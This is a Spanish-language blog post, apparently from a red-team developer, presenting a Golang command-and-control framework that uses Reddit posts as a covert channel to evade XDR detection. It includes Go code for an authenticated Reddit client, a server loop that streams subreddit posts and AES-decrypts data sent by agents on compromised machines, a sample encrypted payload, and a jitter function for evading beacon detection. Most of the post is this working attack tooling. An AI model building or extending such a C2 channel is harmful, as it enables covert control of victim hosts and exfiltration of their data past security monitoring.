C&C Reddit

3xploit
3 min readMar 17, 2023

Bypass XDR

Hola red quiero compartir un pequeño post sobre un comand and control el cual he desarrollado en Golang basandome en la documentacion del API de reddit. https://www.reddit.com/dev/api/

Basicamente el proyecto se divide en cliente-servidor donde se realiza la autenticacion hacia un canal de reddit con credenciales necesarias para generar la sesion de los posts y manipulacion de eventos sobre los mismos titulo, comentarios, delete, entre otras opciones todo esta documentado sobre el dev/api

func setup() *reddit.Client {

credentials := reddit.Credentials{ID: "xxxxxxxxx", Secret: "xxxxxxxxxxxx", Username: "test", Password: "##########"}
client, err := reddit.NewClient(credentials)
if err != nil {
fmt.Println("error creating client ", err)
}

return client

}

funcion principal para generar un cliente autenticado y poder acceder a las funcionalidades correspondientes.

func recivedData() {
sig := make(chan os.Signal, 1)
defer close(sig)
signal.Notify(sig, syscall.SIGINT, syscall.SIGTERM)
config := setup()
posts, errs, stop := config.Stream.Posts(subreddit, reddit.StreamInterval(time.Second*3), reddit.StreamDiscardInitial)
defer stop()

timer := time.NewTimer(time.Hour)
defer timer.Stop()
for {
select {
case post, ok := <-posts:
if !ok {
return
}
color.Yellow("Received post Stage Encrypted : %s\n", post.Body)
color.Green("ID Agent : %s\n", post.Title)

if post.Title == "4a45ce73-4c89-442a-97df-0c3943eeevvcv" {
dec := aesgo.DecryptAes(post.Body, "XXXXW3W34R34##$#QDDSDD")
color.Red(dec)

return
}

case err, ok := <-errs:
if !ok {
return
}
fmt.Fprintf(os.Stderr, "Error! %v\n", err)
case rcvSig, ok := <-sig:
if !ok {
return
}
fmt.Printf("Stopping due to %s signal.\n", rcvSig)
return
case <-timer.C:
return
}
}
}

funcion dedicada para recibir la data de los posts generados encryptados en AES simetricamente. para posteriormente imprimirla en consola con la data del equipo correspondiente.

4a45ce73-4c89-442a-97df-0c394355d1e8

guid identificador del stage

U2F8CKWouAYxmoOrhc+u3D2HUr6qMFgPQSvvI84Rgpb8oKHIe4jpTXxEplKF1ok+QYsGh3NBQhWOWW4KjUXGX+rA9AvQRKpJR3Wc9GIlPAj0oX5hZXQBGWpKspai3gQDa+iYVNXeEc347iLqhTJNo866m2QgRfd+DGHjU5n35v1eM9E/Dhml7GMhzPSI2Zw+pxIHNcGvdekXoUBZs2CCzFbglVbPnW9BFKp1LWguAqL4feXAkc2UXYA/BxCtkktR05T0EYXqQGr2itMSfOYQCG4Vdjcg9eRzsKYnu1oo/OVfhhNE1lvBAfEWNIVCOwVwG1bi+1rIDfpWdg7l77tTGb8iXHLUuE4+aGCpHvyX8UXr3kFPRMtCinef5gx806Euv68E0exPEKy876KEAqm7VwPiJrDk8gOrUZQEpAeOYcy3QCinW3DJ5GAXw/gQNZJX9Q+PDv3kyRxur8W8dy9ptmtUNgFFPi9S8ZizUyDyRiAs0vkpjOu2jBg05pLHfkhWHGNwcZu+T/BDEz1diqnCsrMaRzt4yhttQGA8n6jqYaD0z3UfVcBL7wqVb3x/XP9v1DqpkhMcXKEIpEOnllhFxqOaz2SrgwO0BPGwZ+nPckCK2b72EUC3CbVNQVE+vnyJ4Q6put7o/p7mlbeHutYsSftuXqDWuOEiVmmJKpXefkYwTgG95GN1JBDvytNvY+FkCdwfHAJXrA6bhKEAulZzmjpI2VeCGmgHjzekCXU+RDk6GXq7JhV12h/tujAxsVhttK8lWrN2k4KgDzQ==

data cifrada en AES

una caracteristica importante del lado de la carga es la funcionalidad de jitter para generar diferentes patrones

func generateJitter(min time.Duration, max time.Duration) time.Duration {
// Seed the random number generator with the current time
rand.Seed(time.Now().UnixNano())

// Generate a random duration between min and max
jitter := time.Duration(rand.Int63n(int64(max-min))) + min

// Sleep for the random duration
time.Sleep(jitter)

return jitter
}


server multiplataforma para windows

server para Os Linux

debug tiempos del jitter

evasion de redditc2 XDR

--

--

3xploit

Ethical Hacker | Pentester Cloud | Red Team | Offensive Developer | Adversary Simulation | Golang Developer